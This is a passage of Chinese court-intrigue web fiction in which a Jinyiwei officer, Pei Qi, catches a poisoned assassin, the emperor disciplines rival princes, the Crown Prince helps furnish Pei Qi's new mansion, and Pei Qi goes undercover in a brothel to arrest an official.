“青-楼?”裴期间。 听到这话,钱苗才想起来什么,“坏了,我几乎都忘了你这样的人是不会去那种地方的。” 钱苗拍了下自己的脑袋,接着说道: “届时若连你也不熟,只怕会出什么问题,到时候指挥使要怪你,算了,我也只当舍命陪君子,这案子你尽管安排我就是。” 外祖父听到这话,也是笑着挽留,“既然你都这么说了,那我们府里的这顿晚饭你是不吃不行了。” 钱苗也是笑着点了点头。 只是他们方才说完,就只见裴期紧锁着眉头。 裴期似乎听到了点什么异响。 “怎么了?”裴母问。 裴期没有回答,反而仔仔细细地听着那个声音的来源。 突然,裴期朝一个方向猛地飞奔过去,剩下的人仔细看,好似是府里厨房的方向。 裴期来到了厨房门口,他刚才好似隐隐约约见到了一个黑影闪过。 他放缓脚步,轻轻挪进厨房,里面光线有些昏暗裴期握紧了腰间的绣春刀。 突然,角落里传来一阵轻微的响动,裴期猛地转身,低喝道:“谁?出来!” 房间里一片平静,好像这里从来没有人。 钱苗比其他人都先赶到这儿,一进来他便睁大了眼睛大声说,“裴期!左边!” 裴期转头往钱苗指的方向一看。 果然看见有一个浑身穿着黑色衣服的人鬼鬼祟祟地躲在角落,似乎正等待着时机离开。 此刻见自己的行动暴露那人也顾不着藏匿,起身先是踩在厨房的桌子上,暂时绕过裴期准备从窗户离开。 此人的动作极快,几乎只能看到他行动的残影。 然后只见裴期随手拿起旁边放在桌子上的菜板,“哗”的一声便扔了过去。 那人逃跑之时并没有顾忌着要躲,一般人并没有这个准头。 可他没想到裴期的准头好力气又大,案板砸在他的头上,他一时间眼冒金星,直接从窗棂上掉了下来。 裴期上前几步,单手把这人的手反折到对方的身后,用膝盖压住了对方的背,让他动弹不得,他另一只手中的绣春刀已然出鞘,刀口抵在了那人的咽喉处,他冷冷道, “说,你是何人?为何潜入侯府中?” 这人被擒住趴在地上,身体左扭右动也挣扎不脱。 可他硬是一句话也不说。 只见他双眼锐利,牙关紧闭了一下,便只见黑色的血从他的嘴角流出,接着这人便全身脱力了一般,身体变得软软的。 裴期见状,试探着松开了手,摇晃了那人一下,那人一动不动的。 钱苗皱眉,裴期当锦衣卫还没有几天,不知道这是什么情况,可他却见过这样的。 这一般是不知道哪里的人培养的死士,若被捉住,便会咬破口中的毒药胶囊自尽而亡。 只是裴期外祖早已致仕多年,就算有树敌也早就全死光了,会是什么人还派了这样的家伙过来呢? 裴期外祖父也赶到了这儿,见到眼前的这一幕,他伸手将后面裴期的外祖母和母亲拦住,不让她们见到里面发生了什么。 “别过来。” 裴期站起身来,吩咐府里面的下人将厨房里面的东西全都换一遍,还有其他的地方也要仔仔细细地检查。 外祖父面色铁青,骂了一句后对钱苗说,“只怕不能留你在这儿用晚饭了。” 这贼人不知道在这儿动了什么手脚。 钱苗也表示理解,他笑着打圆场。 “其实,说起来,反而是应该是我请您到我们酒楼吃饭才对。” 他们说话完,裴期的外祖父便带着微怒吩咐下人一边去大理寺报案,一边自己去找人查。 —— 另一半的宫中也发生了点事。 李稷面色从容,站在一边冷眼看着跪在地上的五皇子和三皇子。 他已将此前查到的所有证据都交由父皇决断,如今会试已经放榜,想来也到了父皇清算的时候。 就算为了殿试不让人动手脚,父皇也会敲打一番的。 皇帝高坐于龙椅上,手里盘着一块之前查小儿妇女失踪案查到的血玉。 “好啊,你们二人,当真是我的好皇子。” 皇帝说这话时并没有明显的怒气,可帝王不怒便自威,五皇子听了这话没有什么异样,可三皇子听了却身体忍不住地微微颤抖。 皇帝看向三皇子,“你以为朕当真这么傻,不知道秋猎的那匹马是你做的手脚?” 三皇子身体一抖,说话开始结巴起来,汗珠从他的额头滚落,他却仍旧心里默念着母亲教给自己的话,“父皇,父皇,此事与儿臣并没有关系,是,是我手底下的人自作主张……” 皇帝冷笑一声,又问,“那科举的事呢?科举舞弊与你没有关系?” 三皇子愣了一下,仔细地回想着,除了主动去查裴期,他似乎也并没有干什么其他的事啊。 这事似乎真的与他并没有关系。 于是他说:“父皇,此事与我真没有联系。” 这时,跪在一旁的五皇子忽然出声,他身体弱,说出的话也并不如三皇子的有中气, “那三哥是要说,是我一手促成的科举泄题案吗?分明就是你为了诬陷我,居然买通我的人,明明是送出去的一道诗词,居然被替换成了科举试题。” 三皇子一听五皇子这话,顿时瞪大了眼睛,一脸惊慌地看向五皇子,“五弟,你莫要血口喷人!我何时说过这般话了,这科举舞弊之事我本就未曾参与,莫要往我身上泼脏水!” 五皇子蹙眉,咳嗽了几声, “三哥,你莫要在此惺惺作态了。你平日里的那些手段,别以为我不知,这样大张旗鼓的买卖试题,几乎要把所谓的我泄题的证据送到大哥手上,不就是为了诬陷我?” 皇帝坐在龙椅上,看着两人这般互相指责的模样,心中更是恼怒,“哼!都给朕住口!你们当真是把朕的话当作耳旁风了,朕之前便已多次提过,兄弟阋墙闹得太过,两人便都要受罚!” “如今跪在这里互相推诿的样子简直荒唐!简直可笑!” 李稷在一旁眉毛微抬,似乎早就料到了这两位皇弟在此刻互相推诿画面。 皇帝接着说道:“不管这科举舞弊之事你们各自参与了多少,单是你们用这事来做文章,就已是罪无可恕。” “朕本期望你们为朝廷效力,为百姓谋福,可你们呢?整日里就知道争权夺利,算计彼此,全然不顾江山社稷!” 三皇子和五皇子听闻,都不敢再吭声,只是低着头,身子依旧微微颤抖着,他们心里清楚,皇帝这次是真的动了怒。 这时外面忽然有人通传,三皇子的生母张贵妃到了。 皇帝听了这话,脸上看不出阴晴。 “宣!她来得正好。” 不一会儿,张贵妃莲步轻移,缓缓步入殿中。 她并没有身着她经常穿的那一身华丽宫装,反而一身素槁,脸上带着几分焦急与担忧。 “臣妾参见皇上。”张贵妃俯身行礼,声音轻柔却透着一丝紧张。 皇帝让他起身,然后突然毫无征兆地将手中的血玉砸到她的面前。 血玉四分五裂,张贵妃也被吓了一跳,后退一步。 “朕没想到,你居然有胆子与那些拐走儿童妇女的邪教团伙扯上,朕看你也真是好日子过得太久了。” 张贵妃顿时脸色煞白,她低下头请罪,脑子里却不断地转动着为自己寻找托词与借口,她本来是过来给三皇子求情的,没想到其中还有自己的事。 “皇上,臣妾不知您这话从何说起呀,臣妾怎么会和那种东西扯上关系,定是有人陷害臣妾啊!”她的声音都带着明显的颤抖,身子也跟着微微发抖。 皇帝怒极反笑,“陷害,你们一个两个都说是陷害,到时候牢里面关的那些人全都说自己是被陷害的。” 张贵妃瞪大了眼睛,拼命地回忆着,“皇上,臣妾真的不知啊,最近在臣妾和三皇子身上这么多事,一定是有人陷害,想害了臣妾和三皇子呀,皇上您可要明察呀!” 说着,她已是泪流满面,扑通一声跪在了地上。 血玉,秋猎惊马,科举舞弊。 三件事串在一起竟是桩桩件件都和三皇子脱不了关系。 他原以为这个孩子傻是傻了点,可不会有什么坏心。 皇帝闭了闭眼睛,“你们是知道国法的,天子犯法与庶民同罪。” 三皇子睁大了眼睛,那这、那这岂不就是意味着他要被…… 他顿时瘫坐在地上,什么话也说不出了。 张贵妃见状不对,便说,“皇上难道忘了与臣妾阿姐的情分吗?你忘了当初答应过我阿姐什么吗?” 皇帝一听张贵妃这话,脸色瞬间变得更加阴沉,眼中闪过一丝寒意,“好啊,朕顾念着以前的情分,若是你阿姐说能放过三皇子,那朕便放过。” 张贵妃的姐姐已经逝去多年,哪里还能再开口让皇帝放过三皇子? 可张贵妃一听这话,先是一动不动地在原地,一句话也不说,仿佛脱力了一般。 正当所有人都以为她放弃了的时候, 她说,“好,那臣妾便去问一问阿姐。” 说完,她在众人还来不及反应的时候,一头撞向了旁边的立柱。 三皇子愣在原地。 皇帝见状也是瞳孔紧缩,他未想过张贵妃真的能做到这样。 李稷见状,朝旁边看了一眼,他旁边站着的那位太监便手中扔出一块石子,石子滚到张贵妃的脚边。 张贵妃踩了上去便脚下一滑,头虽撞到了柱子却不至于伤及性命。 三皇子这才反应过来,他发出一声凄厉的惨叫,“母妃!”他连滚带爬地朝着张贵妃奔去,颤抖着双手试图去捂住那不断流血的伤口,可血却怎么也止不住。 五皇子在一旁脸上有些微微惊愕。 他倒是忘了这母子还有这招了。 皇帝坐在龙椅上,沉默了许久,过了一会儿他才说:“老三,择日便前往你的封地吧。” 前往封地便是与皇位断了联系,连带着他母族的权势都会被没收不少,意味着彻底成为边缘人,若是以后新帝登基想要秋后算账,他也毫无招架之力。 但好处是现在可以保住性命。 “父皇……父皇,儿臣……儿臣不想去封地啊,儿臣想留在京城,留在父皇身边尽孝。” 三皇子声泪俱下,趴在地上拼命地磕头,额头不一会儿就磕出了血印,他母亲付出了这么多,以命相搏,换来的绝不是一个前往封地的结局。 可他太不了解他这个父皇的秉性,他这样说只会愈发引得他的父皇厌恶而已。 就在他即将把事情弄得更糟的时候,他的母亲张贵妃悠悠转醒。 听到皇帝的话,她挣扎着想要起身再求情,却终究是体力不支,只能虚弱地喊道:“皇上,今年的冬天太冷了,不如等到明年暖和季的时候再让他去吧。” 这是权宜之计,却终究为三皇子争取了时间。 皇帝沉默,默许了这件事情。 李稷冷眼看着面前发生的这些闹剧。 三皇子这次用了这手段,下次便就不能用了。 —— 离开的时候,李稷走在前面,五皇子快几步跟上了他。 他咳嗽了几声,问:“兄长,听说这次因我被诬陷的事,牵连了一位小锦衣卫?” 李稷听了这话,脚步放缓,他侧头看了一眼五皇子,“你是从何得知的?” 裴期的官职对于他们来说太小,说实话,他入狱还不如裴建入狱引人注目呢。 五皇子没有回答这个问题,只是说:“我想前去拜访一下,以表歉意,不知兄长您是否允许?” 他这话越说越怪,仿佛认定了裴期就是李稷的人一样。 李稷微微眯眼,“你想拜访谁便去拜访,不必问过我,他想见你自然会见。” 只见五皇子脸上浮现淡淡的笑意,苍白已久的脸上也浮现出点儿血色。 “那多谢兄长,不日我便前去拜访。” 这下,李稷只觉得对方脸上的笑容碍眼,随便说了几句话,二人便分道扬镳。 五皇子看着李稷离去的背影,他旁边的一个其貌不扬的侍卫见李稷已经远去,便出来说:“殿下,我们真要去拜访吗?” 只见五皇子勾了勾唇说:“不近女色,也不近男色,那便是钱,权,势,总有一样可以让他动心。” “也不知是我那大哥许了什么东西,才有了那么忠心的家伙。” 真让人羡慕。 这样的人一定用起来十分顺手,忠心至极,像是一张空白的宣纸,无论你在上面写上什么,画上什么,他都会变成你想要的样子。 这样的人,与自己的野心是极配的。 五皇子笑了一声。 他自出生起便先天不足,之所以能在现在还留在上京,没有前往自己的封地,便是因为他知道如何蛰伏,一点一点蚕食掉别人的势力。 就像这次,他只是被罚俸和几日思过,三皇子却要前往封地。 不过是以小博大。 “大哥许诺给他什么,我便许诺上百倍,一样一样的试,总能有让他倒戈的一天。” 他吩咐旁边的人, “帮我备上份厚礼,过几日我便去拜访裴期。” 五皇子思索了一番,“听说,附近有个寺里边的平安符很灵啊。” 侍卫低着头回答,“是的,殿下,是需要属下去弄一份回来吗?” “不。”五皇子仍旧是那副淡淡的微笑,“这种东西,当然得亲自去求才有诚意。” 宅邸与太子 裴期完全休息好了之后便回锦衣卫了, 其实,刚上任的千户一般是要负责一件近期的案件的。 只是为着最近的一些麻烦事,裴期一直并没有机会去负责, 因此,他现在休息好了便该去领差事了。 指挥使拍了拍裴期的肩膀,只说:“最近发生的事我有所耳闻,应是你风头正盛的缘故。” 他有心提醒一下裴期。 古往今来, 这时候都是最危险, 最敏感的。 现任皇帝身体已出现病症, 可仍留了三位皇子在上京。 说完他又想起了裴期所住的忠勇侯府中最近发生的事情,又提醒道: “我听闻忠勇侯府最近在查那个潜入的贼人, 我并不是劝阻你们, 只是死士之所以被称作为死士, 便是因为查不出他们的来源,越往后查只会有越多的人死,他们是宁死也绝不会透露主家的。” 裴期垂眸,思索片刻后便说:“多谢指挥使提点,虽说一般来说查不出来, 但若是不查, 便是绝对查不出来。” 事后, 经过家人的商议,他大致也明白了, 那贼人可能是冲着自己来, 而不是冲着自己的外祖父一家去的。 这也是他为何要快点搬离忠勇侯府的原因。 指挥使见他这样便知他是下了决心要查的, 于是便也不再说了。 只是他心中隐隐有些担心,其实裴期才来锦衣卫做事没几天,也没有盯梢过什么高官大臣。 他的外祖父致仕多年, 他的祖父更是在家待着许多年都没同他人交际过,裴期应当是整个朝堂当中最不可能有什么树敌的人。 但有人能派出死士去潜入他住的地方,便意味着此事非同小可。 看样子也只有可能是裴期近日与太子走得太近,便被别人觉得是同太子站了队。 那向他下手的人,应就是其他二位皇子。 指挥使暗自叹了口气,那样便麻烦了。 只是他也没有什么解决办法,只能先顺其自然了。 “裴期,本来是要安排你去值守殿试的,只是因为前几天你遭受牵连的原因,需要避嫌,所以安排了你这几天去青-楼查内阁江启德。” “查他并不麻烦,只需当场捉住他在那儿夜宿即可,据情报,他今晚便就会去,到时会有个之前有过经验的小旗跟着你一起。” 裴期隐隐约约听过这人的名字,这人似乎在之前还得圣宠,听太子与其他人交谈的时候得知,皇上将南下救灾的拨款任务派给了他。 这原本应该是户部的任务。 只是他并不知道能不能问。 见他脸上带着疑惑,指挥使也知道他心中好奇,想着裴期本来就迟钝,便主动说, “南方洪灾那边的官员被秘密举报贪墨,只是并无实证,而他们又恰好全是江大人的门生,因此须得先将他控制住才行。” 裴期点了点头,灾区贪墨向来是最难查的,有时派人下去查,还有京中的人保驾护航,十分棘手。 因此先将京中这人牢牢控制住,倒是最优解。 裴期记住晚上汇合的地方便又从锦衣卫司的大门出去。 虽然忠勇侯府的人都在挽留他,让他多住几天再搬。 可他心中也明白,自己若是留在忠勇侯府中,可能会牵连外祖父一家。 往前走了几步,是太子的马车在那边等他。 他本来并不想这么麻烦太子的,只是要了几个工匠过来就可以了。 可太子只说难得把手边的案子都查了,恰好得了几日空闲便来与他一起。 裴期往前快走了一步,撩开了马车后边的帘子,只见太子坐在里面,笑着看他,他便也露出一个笑来。 他觉得每次与太子待在一起都十分轻松,不必像在其他的地方一样,脑子里要转来转去的。 “原本是小事,劳烦殿下了。”裴期说。 “我们既然相熟,这些事又算什么?况且上次有要事,只是交代了事情便离开,孤也早想仔细看看两位贪官污吏究竟能建成怎样的宅子。” 这宅子实际上并不是那张大人是第一位主人。 张大人是后来才住进去进行修缮了的。 有趣的是,这宅子的前一位主人也是位鼎鼎有名的贪官。 那位贪官当初也是被抄了家的,连墙上的那些装饰什么的,全都扒下来了。 后来张大人见这个宅子恰好方便,便将其买了下来,重新进行修缮,只是没想到他后来也成了大贪官,被人查,被人抄家。 因此皇帝一见这个宅子便膈应,当初曾想了把这个宅子拆了,推了的。 只是后来发生了裴期这样的事,他便大手一挥,将宅子赏给了裴期。 他觉得裴期并不是那样的人,也并不信其他人所说的,风水原因,谁住了这个宅子都会变成贪官。 很快便到了宅邸的门口。 这里大门紧闭,与上次裴期来的时候并无两样。 二人下了马车,身后跟着一些下人,打开门进去。 这次的抄家并不如上次的彻底,因此还留存着一些墙上的装饰,凉亭什么的。 只是什么摆件的都没有了,看上去有些空荡荡的。 风飘过来,隐隐带了些灰尘的味道。 只是值得一提的是,这个宅子里面有个极大的池塘,里面应该原本是养了些荷花的。 只是现在变成了些枯枝,一根一根地矗立在水面上。 见裴期看得如此认真。 李稷便问:“你很喜欢这个池塘吗?” 随即他也跟着裴期的目光看了看,“仔细打理一番,里面可种上许多的莲,盛夏时节,便可有满池的莲花盛开。” 只是裴期摇了摇头,说:“我是在想,原本我在裴府里养了只玳瑁,若是带过来的话,也应给他准备个池子。” 上京中也不乏养这些珍奇异宠的,只是那些达官贵人们大部分养一段时日便腻了,由下人去打理。 更别提专门在府中弄个地方养了。 所以李稷只觉得这玳瑁对于裴期定然意义非凡。 于是他说:“前几年,父皇在宫里专门找匠人弄了个地方用于饲养这些在盐水当中才能活的异宠,到时候将他们要来帮你就好。” 宫里专门有人进贡这些东西,自然有地方养,也有人专门维护。 “多谢殿下费心,只是会不会太麻烦了?”裴期问。 李稷笑着说:“无妨,不过些许小事。你既珍视它,自当为它妥善安排。待回宫后,孤便尽快着人去办,也好让你早日安置玳瑁。” 随后他们又进入了这地方的内室,也就是这里的主人休息的地方。 这地方早已被锦衣卫查抄完毕,里面的床在当时便已经四分五裂,后来经过人收拾,也只是将地方打扫的干净了一些。 屋子里边颇显得有些空荡,只有个老旧的衣柜在靠墙的地方,柜门半掩着,里面空空如也,想来之前的物件都已被清理走了。 地上铺着的地砖倒是还完好,只是落了一层薄薄的灰尘,在两人踏入时,扬起些许细微的尘埃。 李稷也在一旁看着,说道:“确实需得费些心思打理。” 说罢,他转头问旁边的下人,“孤记得之前的那批工匠里,有个极擅长做拔步床的。” 此时的富贵人家家中凡是有条件的都喜欢睡拔步床。 那个下人点点头回应道:“回殿下,确有此人,他的手艺精湛,上京之中没有不称赞的许多达官贵人都去找他。” 裴期知道拔步床是什么,只是他觉得比起床,拔步床更像是屋子里面的一个小屋子,就算这么久了,他始终还是不太习惯。 他又回想起自己曾经在现代住过的床与衣柜,“多谢殿下的美意,只是我想了些其他的。” 太子微微一愣,旋即笑道:“裴卿的宅邸,自然自己怎么布置,自己感觉舒适便好,不过这内室布置仍不可马虎,可另择一适宜床榻,再配上些素雅精致的摆件,亦能有别样韵致。” 接着裴期形容了一番自己想象中布置的内室模样。 现在这是他的宅邸,他自然按照了自己的心意去布置,他觉得自己曾经住过的那间公寓的布置十分方便舒服。 因此便也想按照那间公寓的样式去布置。 只是旁边的下人听了只觉得云里雾里。 他又自己捋了一遍才想明白 ,哦,原来就是民间那种普通样式的床配上厚厚的棉垫与被子。 那下人心里想着,这裴大人的想法倒也新奇,放着富贵人家惯用的精美拔步床不要,却偏爱普通样式的床榻,现在他正是春风得意的时候,何必这样呢? 裴期继续说道:“至于那衣柜,无须太过华丽雕饰,像常见的实木衣柜便好,有几扇对开的柜门,能稳妥放置衣物即可。” 他其实是想要现代的那种,里面有几根杆子可以用来挂放衣物的,可他担心自己说得太模糊。 于是准备届时木匠到了的时候专门跟对方说。 太子听了裴期的话,只说:“确实舒适自在。” 旁边的下人看了一眼李稷。 其实他带着那些匠人也了解那些富贵人家都是怎么布置的,这位裴大人说的那种也太奇怪了。 就算只是略有些家底的都不会那样布置的。 也只能说是自己觉得舒适自在了。 裴期心中有些淡淡的喜悦,毕竟是头次拥有自己的宅邸,只是他其他的地方还没有想好。 只是先叫人把内室弄好,搬过来之后再布置其他的。 届时,或许可以将他的母亲也接过来。 大致决定了要将内室布置成什么样,他们便准备看看其他的地方便离开。 内室旁边的那间小屋被先前王公公带来的人作为存放金银的地方。 一进去一遍只看满地满箱的金银珠宝。 这间房也并没有落锁。 至于为什么, 上次赏赐弄地大张旗鼓,天底下可能也没有哪个小贼敢进入锦衣卫千户的住所来偷皇帝赏赐的东西。 有命偷,还有命花吗? 就在他们即将离开之际,有人敲响了府邸的门。 只是这府邸被查抄后已经不住人很久了,裴期他们二人也是今日下午才到这儿的,是谁手脚这么快便过来了? 李稷朝旁边看了一眼,下人便会意,上前去将门打开。 门打开之后,只见那边站了个穿着太监服制的中年人,似乎赶路赶得急,他还在喘着气。 见到门开了,他先是一愣,显然没料到会这么快有人应门,随后赶忙整理了下衣袍,恭敬地行了一礼。 “见过太子殿下,见过裴千户。奴是五皇子宫里的,五殿下因为之前的事牵连了您,感到十分抱歉,只是五皇子因为有要事在身,尚且不能亲自现身,还望裴千户莫怪唐突。” 裴期心中有些疑惑,自己与五皇子似乎并无太多交集。 仔细想来似乎连面都没有见过。 朝中上下都知道五皇子的身体羸弱,连秋猎都没去。 李稷却脸色微冷,这人之前便跟他说过这事,只是没想到会摸来得这么快,还是在这个时候。 自己还在这儿的时候。 不过想来也是,他这个弟弟,从小到大便是最擅长玩弄这些的。 而旁边的裴期却只是照例回道:“多谢五殿下,只是无功不受禄,我并不该收这些。” 他心里还记得外祖父前一晚对自己说的话。 越是有人送东西过来,就越是要记住无功不受禄这几个字。 那太监脸上的笑容僵了一下,没想到裴期会拒绝。 他赶忙说道:“裴千户这是哪里的话,五皇子殿下是真心为您高兴,又是真心对牵连了您感到抱歉,这才吩咐奴才送来薄礼聊表心意,您要是不收,奴才回去可没法向五皇子殿下交代呀。” 裴期微微皱眉,他本就不喜这些弯弯绕绕,当下便又道:“这番好意我心领,我与五皇子殿下素无往来,实在受之有愧,还请公公将礼物带回。” 那太监听到这话,还要再求。 裴期有些为难,下意识看向李稷,他说:“殿下,我真不想要。” 不知为何,见到裴期这样,李稷莫名便感觉有些愉悦。 他嘴角微微上扬,看向那太监,语气淡淡道: “裴千户生性耿直,既他不愿收下,便莫要再勉强了,快些回去向五皇弟复命吧,就说裴千户心领了他的好意,只是礼实在不便收下。” 既然有他出面替裴期拒绝,那太监只好作罢,不敢太作纠缠。 只是唯唯诺诺地说了几句是,便灰溜溜地匆匆离去。 裴期眨了眨眼,眼看终于将这太监给送走,他说,“谢殿下解围。” “无事。” 他知道自己这皇弟未必是要将这些东西真的、非要送来,只是想要在这时候打扰、试探一下。 惯常会用的手段,倒也不必放在心上。 我是你爸爸(小修) 夜晚, 上京最大的青楼,锦绣轩的一处小巷内。 裴期带着此番差遣的人掐着点等着,差不多到三更时几日便进去。 钱苗跟在裴期的后面看着, 嘴里嘟囔着,明明可以去隔壁他爹开的酒楼里边等着,却偏偏要到这偏僻的冷巷中。 他们几人为了不暴露,都穿着身寻常的衣服, 随身携带的标志性的绣春刀也换成了较容易隐藏的匕首和袖箭等。 裴期看了钱苗一眼, 钱苗便识趣地闭了嘴。 又过了一会儿。 裴期仔细地看着锦绣轩的门口, 确认要捉的人进去之后,他朝后面招了招手, 示意几人可以进去了。 他们几个猫着腰, 贴着墙根, 迅速地往锦绣轩的门口移动。 直到在一处不起眼的地方,他们才忽然出现在了大路上。 于是便只见街上不知从哪儿凭空出现了几个穿着华贵的公子哥,他们几人似乎是要寻欢作乐的,同时往锦绣轩那边走去。 这群公子哥为首的人长得实在漂亮,连出来迎接的老鸨都吃了一惊。 不光脸长得好看, 还衣着光鲜, 气度不凡, 这样的人,想找个被窝里边儿的, 何必来他们锦绣轩呢? 不过, 想来可能是这位公子什么都玩腻了, 来寻点新鲜。 裴期记得来之前杨小旗教过自己的,自己现在应该,应该怎么来着? 于是他按照之前说的, 从腰间拿出一把折扇来,脸上扯出一个生硬的笑容,然后另一只手拿出一个金锭。 “我们要进去。” 裴期说。 杨小旗在旁边看得眉心猛跳。 好小子,之前问裴期,知不知道这里的事情,裴期说不知道,他还不信。 毕竟没吃过猪肉,总见过猪跑吧。 没想到还真的一窍不通的模样。 老鸨倒也没想其他,裴期用折扇遮住了自己的下半张脸。 光线昏暗下只能看到他立体的眉目鼻梁和浓密的睫。 抬头一看,是裴期的脸,低下头一看,是那黄澄澄的金锭。 哪有把送财童子往外推的道理? 老鸨眼睛几乎要被晃瞎了,一手扯过裴期的手,忙不迭拿下那个金锭,一边脸上的笑意愈发浓烈:“几位请进,几位请进,咱锦绣轩别的不说,保证让公子玩得尽兴。” 裴期地被老鸨扯着进了锦绣轩,身后的钱苗等人强忍着笑意,亦步亦趋地跟着。 一路上,老鸨还问裴期,问他们几个之前是否来过这里。 裴期没来过,可其他几人却被派来盯梢好多次了,他们也不想再听老鸨介绍一番这里的布置,和姑娘小倌多么好看之类的话。 因此几人也不等裴期发话,便说:“之前也来过几次。” 裴期听另外几人这么说,于是也点了点头。 老鸨心里便了然,既然这几位之前都来过,那倒是不必再介绍这边的布置了。 一入内,喧嚣的声浪便扑面而来,刺鼻的胭脂水粉味和酒气混杂在一起钻入所有人的鼻腔。 几乎要让刚进来的人喘不过气来。 裴期不着痕迹地挣脱老鸨的手,他轻摇折扇,装作十分有兴致地打量着四周。 忽然,他看到了左边的二楼上的一个房间。 房门外有个盆栽,在盆栽上并不起眼的地方有一块小小的红布。 看上去像是谁在打闹之时把衣服弄坏了,不小心挂在上面的。 但裴期知道,这是锦衣卫安排在这里的眼线留下的记号。 在那间房里恰好可以观察到他们要抓的人的动向,方便他们应对可能发生的紧急情况随时进行抓捕。 裴期眼睛一眯便迅速地对旁边的老鸨指了指那个房间:“我想要那个。” 老鸨顺着裴期所指的方向看去,他脸上闪过一丝诧异,但很快又堆满了笑容。“哎哟,公子,那间房啊,此刻怕是有人在里头呢,要不咱换一间?咱锦绣轩的房间可都布置得极精致舒适的,换成其他房间也能保公子满意。” “我就要那一间。”裴期说道,然后又从怀中掏出了一个金锭。 这些钱都是锦衣卫出的,用来让他们执行任务的。 锦衣卫司对于支出的这些钱财并不心疼,毕竟到时候抓了那位大人之后,这些钱便能都收回去。 老鸨看了一眼手中的金锭,又看了一眼裴期,咬了咬牙对旁边的龟公说:“快去,快去,给这位大人收拾出来。” 说完,她又上上下下仔细打量了一番裴期。 啧啧啧,没想到呀长得这样俊朗的公子居然是龙阳断袖? 也怪不得要挑在这深夜,来他们锦绣轩好好享乐一番了。 来过的都知道,二楼那边的那几间房都是布置给享用男倌,但又不想声张的客人的。 只消往里面一坐,便自然而然会有人送长得漂亮的少年进去的。 只是裴期这次点的是他们轩里专门给一位富贵的常客留的房间。 现在都到这时候了,那位常客应该也不会来了,给这位公子用一晚上,似乎也并不是什么大事。 裴期一路跟着龟公上去。 他和杨小旗去那间房中,盯着他们想抓的那人,而钱苗则带着剩下的几个在下面几处地方防止想抓的人偷偷溜出去。 只是行到一半时,裴期往旁边扫了一眼,刚好与旁边的一位女子对视。 那穿着妆容都十分妖艳的女子过来扯着裴期的胳膊。 那女子唤道:“公子,这是要去哪儿?怎的说上几句便走呢?” 裴期想把手抽出来,却又怕伤了对方,只能僵硬地站着。 他察觉到这女子手上不知抹了什么东西,滑腻腻的,带着一股奇怪的香气。 这也是为什么许多锦衣卫都不愿被差遣来青楼。 你永远不知道这里的人会玩什么让你倒胃口的花样,也永远不知道这里的人靠近你的时候身上沾了什么奇怪的东西。 杨小旗出面挡住了那位女子,“抱歉,我们并没有这个意思。” 那女子听了这话依旧不肯撒手,毕竟她刚才可是亲眼见着这人朝老鸨扔了那两锭金子。 她好不容易才见到一个有钱又长得好看的主儿。 这时旁边的龟公才扯住那女子朝她耳语几句,无外乎是提醒那女子,裴期是要进“那间”房的。 女子听清楚了那龟公说的话之后,眉头便紧紧地皱在了一起。 看向裴期的眼神也隐隐带了些隐晦的意思。 该死,这些有钱人的癖好可真奇怪。 那女子松开了裴期的胳膊。 嘴里嘟囔,“原来是喜欢那种的。” 还真是可惜了。 裴期并不理会,只微微整理了下衣袖,便继续跟着龟公往二楼那房间走去。杨小旗则紧跟在他身后,警惕地留意着四周动静。 进了房间,裴期径直走到窗边,透过那雕花的窗棂缝隙,再次将目光锁定在楼下目标人物所在之处。 此时,恰好见到那江大人在对面那间房间的门口同一些人说着什么,说完便转身推开门进了房内。 只是房内空无一人,只有江大人一个人坐那儿。 杨小旗在一旁出声提醒道:“他应是刚才吩咐了下人什么?现在正在等人过来,我们再等会儿便好。” 进到这种地方来是没几个人会带足足的侍卫的。 哪怕是带了,凭裴期和杨小旗的身手,也仍旧不是他们的对手。 到时候,待这青楼把人送进了江大人的屋内,他们便可以出手了。 其实按道理来说,锦衣卫要抓人,不必费这么多心思的,锦衣卫的办案流程并不同大理寺,需要人证物证确凿。 往往只需要皇帝定夺。 只是本朝的皇帝愿意走些流程,因此,他们抓人时也要有些证据。 就在这时候,裴期所在的这间房的房门被敲响。 他与杨小旗对视了一眼。 杨小旗便离开窗户这边的位置,去到门那边开了门。 只见门外两个长得高大的男人,带着个只着轻衣薄纱的少年站在门口。 裴期只是用余光一看,便觉得这少年十分眼熟。 “是你?”裴期说。 那少年听到裴期这熟悉的声音,脸上那本来还算得上魅惑的神色忽然一僵。 裴期转身走了过来,他越是靠近那少年的脸色便越发惨白,身体发抖。 他不愿意让裴期见到自己现在的样子。 其实他上次在寺庙里,勾搭裴期的任务若是成功了,便不用被发配到这青楼里边来当男倌。 可即便任务失败,他被发配过来,少年的心中也并没有丝毫的怨恨,只觉得幸好他的任务失败了,否则日后不知道要被迫做出多少伤害对方的事情。 为什么偏偏是在这儿? 为什么要让他看见自己这幅样子? 为什么又是这样? 为什么要这么羞辱他? 那少年眼中闪过慌乱,但很快又强自镇定下来,垂下眼眸低声道:“大人,许久不见。” 裴期皱眉,上次见到对方还是在佛寺里,对方还是穿着得体的模样,不知怎么只是这么短时间就这样了。 但他也并不想去追究那么多,只是又将身上的那件披风给取下来把对方罩住。 “上次我见你时你还在喝药,如今穿得这么少,不要着凉了。” 旁边站着的那两位壮汉听到这话, 斜着看了一眼裴期,他们心中嗤笑。 呸,假正经。 都到这里来了,还装什么好人? 而少年低着头,眼圈泛红,一句话也说不出来。 上头的人也不知道为什么,非得让他一而再再而三的来害裴期。 此时若是这里站着的是其他人,他也不至于会僵在原地,一动也不能动了。 而裴期没注意到这些,将披风罩在少年的身上之后,便对旁边的两个壮汉说,“我们这间房不需要任何其他的人来,你们不要再来打搅就好。” 他说完这话,那壮汉便扫了一眼裴期和杨小旗。 脸上一副原来如此,你们俩原来是一对的表情。 裴期倒没有感觉到什么,只是杨小旗只感觉浑身都不自在,连忙把门关上。 而少年被推搡着走了去下一个客人的房间里,原来裴期是真的喜欢男子吗?不知道天底下有谁能入得了他的眼? 把门关上后,二人便转身去继续盯着那江大人。 可此时,他们发现,就在他们刚才只是转身说了几句话的功夫,那江大人居然就已经完事。 现在正坐在床上直起上半身子,准备穿戴好后整理一下衣冠就离开了。 裴期睁大了眼睛朝旁边的杨小旗看了一眼。 杨小旗点了点头。 动手! 随即二人推开这扇窗户,将随身带着的龙爪勾在这房间里结构稳固的地方。 随后抓着龙爪后面的绳子往下几步,顺着窗户外面的房檐、栏杆,像敏捷的狸奴般朝着江大人所在房间的方向迅速攀爬过去。 裴期和杨小旗很快就到了江大人房间的窗外,他们悄无声息地趴在窗沿上,观察屋内的情况。 江大人正背对着窗户,一边让旁边的女子帮他又是揉肩,又是整理衣服,一边还在低声说着什么,好像对已经完成的这场“交易”颇为满意。 